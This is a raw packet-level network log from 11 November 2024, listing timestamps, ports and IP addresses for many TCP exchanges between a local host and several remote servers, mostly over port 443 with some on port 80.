Nov 11, 2024 21:59:25.781061888 CET	443	58819	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.786195040 CET	58813	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.801271915 CET	58824	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.801311016 CET	443	58824	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.801379919 CET	58824	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.801659107 CET	58824	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.801667929 CET	443	58824	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.831924915 CET	443	58814	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.832402945 CET	58814	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.832468987 CET	443	58814	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.832556963 CET	58814	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.856312037 CET	443	58817	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.856631041 CET	443	58817	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.856682062 CET	58817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.856878996 CET	58817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.856904984 CET	443	58817	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.856920004 CET	58817	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.856925964 CET	443	58817	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.859508991 CET	58825	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.859550953 CET	443	58825	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.859786034 CET	58825	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.859960079 CET	58825	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.859970093 CET	443	58825	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.860635996 CET	443	58813	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.861306906 CET	58813	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.861346006 CET	443	58813	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:25.861397028 CET	58813	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:25.870235920 CET	443	58818	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.870599031 CET	443	58818	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.870662928 CET	58818	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.871965885 CET	58818	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.871975899 CET	443	58818	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.871988058 CET	58818	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.871992111 CET	443	58818	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.874717951 CET	443	58819	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.874803066 CET	443	58819	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.874973059 CET	58826	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.875005007 CET	58819	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.875024080 CET	443	58826	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.875044107 CET	58819	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.875045061 CET	58819	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.875061989 CET	443	58819	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.875076056 CET	443	58819	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.875081062 CET	58826	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.875243902 CET	58826	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.875253916 CET	443	58826	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.877535105 CET	58827	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.877548933 CET	443	58827	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:25.877604961 CET	58827	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.877752066 CET	58827	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:25.877763033 CET	443	58827	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.053204060 CET	58828	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.053241968 CET	443	58828	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.053344965 CET	58828	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.054059029 CET	58828	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.054071903 CET	443	58828	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.135528088 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:26.135584116 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:26.244323015 CET	443	58823	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.244678020 CET	443	58822	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.266645908 CET	58823	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.266700029 CET	443	58823	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.267155886 CET	58823	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.267160892 CET	443	58823	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.267532110 CET	58822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.267569065 CET	443	58822	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.267975092 CET	58822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.267986059 CET	443	58822	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.361011028 CET	443	58823	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.361074924 CET	443	58822	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.361084938 CET	443	58823	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.361164093 CET	58823	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.361227036 CET	443	58822	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.361294985 CET	58822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.377706051 CET	443	58825	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.392621994 CET	443	58826	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.395410061 CET	443	58827	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.420012951 CET	58827	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.420049906 CET	443	58827	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.420944929 CET	58827	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.420952082 CET	443	58827	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.421155930 CET	58823	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.421201944 CET	443	58823	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.421221018 CET	58823	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.421228886 CET	443	58823	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.423162937 CET	58822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.423178911 CET	443	58822	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.423188925 CET	58822	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.423194885 CET	443	58822	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.428575993 CET	58825	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.428599119 CET	443	58825	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.428976059 CET	58825	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.428978920 CET	443	58825	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.471596003 CET	58826	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.471618891 CET	443	58826	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.473042011 CET	443	58824	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.473258018 CET	58826	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.473268986 CET	443	58826	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.510075092 CET	443	58827	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.510148048 CET	443	58827	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.513844013 CET	58827	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.517566919 CET	443	58825	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.517644882 CET	443	58825	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.517827034 CET	58825	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.562418938 CET	443	58826	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.562505007 CET	443	58826	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.562604904 CET	58826	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.571952105 CET	58824	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.658807993 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:26.658845901 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:26.658853054 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:26.658871889 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:26.658880949 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:26.658884048 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:26.658950090 CET	58737	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:26.658961058 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:26.658967018 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:26.658986092 CET	58737	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:26.659003019 CET	58737	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:26.659720898 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:26.659758091 CET	58737	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:26.659780979 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:26.659852028 CET	58737	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:26.698726892 CET	443	58828	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.744954109 CET	58824	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.744977951 CET	443	58824	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.746129990 CET	443	58824	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.746140957 CET	443	58824	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.746193886 CET	58824	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.798947096 CET	58828	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.798960924 CET	443	58828	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.799622059 CET	58824	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.799721003 CET	443	58824	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.800220013 CET	443	58828	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.800231934 CET	443	58828	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.800278902 CET	58828	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.809454918 CET	58828	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.809519053 CET	443	58828	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.812764883 CET	58824	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.812788010 CET	443	58824	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.812814951 CET	58824	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.812846899 CET	443	58824	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.813019037 CET	58828	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.813019037 CET	58828	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.813035011 CET	443	58828	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.813075066 CET	443	58828	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.837816000 CET	58827	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.837862968 CET	443	58827	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.837877989 CET	58827	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.837884903 CET	443	58827	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.839270115 CET	58825	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.839273930 CET	443	58825	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.839282990 CET	58825	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.839284897 CET	443	58825	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.840289116 CET	58826	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.840308905 CET	443	58826	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.840321064 CET	58826	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.840327024 CET	443	58826	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.842798948 CET	58737	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:26.842804909 CET	443	58737	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:26.854278088 CET	58830	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.854307890 CET	443	58830	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.854387045 CET	58830	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.857870102 CET	58831	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.857903004 CET	443	58831	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.858004093 CET	58831	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.858272076 CET	58830	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.858287096 CET	443	58830	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.859532118 CET	58824	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.861140013 CET	58832	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.861175060 CET	443	58832	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.861223936 CET	58832	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.861511946 CET	58832	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.861526012 CET	443	58832	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.861970901 CET	58831	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.861984968 CET	443	58831	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.862960100 CET	58833	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.862981081 CET	443	58833	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.863028049 CET	58833	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.863135099 CET	58833	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.863147974 CET	443	58833	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.865570068 CET	58834	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.865583897 CET	443	58834	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.865679026 CET	58834	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.867938995 CET	58834	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:26.867949963 CET	443	58834	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:26.889910936 CET	58828	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.956509113 CET	443	58824	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.957958937 CET	443	58828	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.968466997 CET	58824	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.968513012 CET	443	58824	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.968590021 CET	58824	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.970448017 CET	58828	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.970489025 CET	443	58828	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.970629930 CET	443	58828	104.208.16.90	192.168.2.5
Nov 11, 2024 21:59:26.970669031 CET	58828	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:26.970699072 CET	58828	443	192.168.2.5	104.208.16.90
Nov 11, 2024 21:59:27.049212933 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:27.054189920 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:27.066539049 CET	58835	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:27.066605091 CET	443	58835	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:27.066682100 CET	58835	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:27.071322918 CET	58835	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:27.071335077 CET	443	58835	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:27.251205921 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:27.251219988 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:27.251230955 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:27.251281977 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:27.251328945 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:27.258305073 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:27.264116049 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:27.373867989 CET	443	58830	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.376049995 CET	443	58831	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.376696110 CET	58831	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.376698017 CET	58830	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.376732111 CET	443	58830	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.376748085 CET	443	58831	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.377028942 CET	443	58832	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.377361059 CET	58830	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.377367973 CET	443	58830	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.377615929 CET	58832	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.377651930 CET	443	58832	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.377687931 CET	443	58833	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.378010988 CET	58832	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.378016949 CET	443	58832	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.378161907 CET	58831	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.378168106 CET	443	58831	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.378233910 CET	58833	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.378247023 CET	443	58833	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.378587961 CET	58833	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.378592968 CET	443	58833	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.379489899 CET	443	58834	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.382812977 CET	58834	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.382829905 CET	443	58834	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.383219004 CET	58834	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.383224964 CET	443	58834	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.462047100 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:27.462116957 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:27.467684031 CET	443	58830	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.467758894 CET	443	58830	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.467979908 CET	58830	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.469815969 CET	443	58832	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.469921112 CET	443	58832	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.469970942 CET	58832	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.470331907 CET	443	58833	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.470385075 CET	443	58833	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.470724106 CET	58833	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.472363949 CET	58830	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.472378969 CET	443	58830	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.472393036 CET	58830	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.472399950 CET	443	58830	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.472923040 CET	443	58834	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.473084927 CET	443	58831	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.473145962 CET	443	58834	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.473232031 CET	443	58831	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.473284006 CET	58834	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.473340034 CET	58831	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.474314928 CET	58834	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.474343061 CET	443	58834	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.474359989 CET	58834	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.474365950 CET	443	58834	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.475006104 CET	58831	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.475030899 CET	443	58831	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.476613045 CET	58832	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.476618052 CET	443	58832	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.476636887 CET	58832	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.476639986 CET	443	58832	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.478352070 CET	58833	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.478367090 CET	443	58833	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.478378057 CET	58833	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.478383064 CET	443	58833	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.482929945 CET	58836	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.482973099 CET	443	58836	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.483052969 CET	58836	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.484852076 CET	58836	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.484874010 CET	443	58836	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.486408949 CET	58837	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.486445904 CET	443	58837	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.486596107 CET	58837	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.486857891 CET	58837	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.486869097 CET	443	58837	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.487643957 CET	58838	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.487667084 CET	443	58838	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.487808943 CET	58838	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.487884045 CET	58839	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.487893105 CET	443	58839	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.487962961 CET	58838	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.487972021 CET	443	58838	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.487988949 CET	58839	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.488374949 CET	58839	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.488385916 CET	443	58839	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.488894939 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:27.489253044 CET	58840	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.489289999 CET	443	58840	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.489451885 CET	58840	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.489574909 CET	58840	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:27.489588976 CET	443	58840	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:27.493794918 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:27.805077076 CET	443	58835	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:27.805591106 CET	58835	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:27.805634022 CET	443	58835	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:27.814826965 CET	58835	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:27.814851999 CET	443	58835	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:27.814945936 CET	58835	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:27.814960003 CET	443	58835	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:28.030868053 CET	443	58839	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.031228065 CET	443	58838	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.031789064 CET	58838	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.031821012 CET	58839	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.031825066 CET	443	58838	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.031845093 CET	443	58839	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.031864882 CET	443	58837	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.032166958 CET	443	58840	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.032388926 CET	58838	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.032396078 CET	443	58838	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.032516956 CET	443	58836	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.032536030 CET	58839	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.032540083 CET	443	58839	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.032733917 CET	58837	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.032746077 CET	443	58837	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.033066988 CET	58836	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.033072948 CET	443	58836	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.033206940 CET	58837	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.033211946 CET	443	58837	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.033277988 CET	58840	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.033303976 CET	443	58840	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.033461094 CET	58836	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.033469915 CET	443	58836	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.033881903 CET	58840	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.033899069 CET	443	58840	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.123161077 CET	443	58839	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.123547077 CET	443	58839	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.123601913 CET	58839	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.123656988 CET	58839	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.123672009 CET	443	58839	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.123682022 CET	58839	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:28.123697996 CET	443	58839	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.124597073 CET	443	58838	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.124672890 CET	443	58838	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:28.124777079 CET	443	58836	13.107.246.45	192.168.2.5
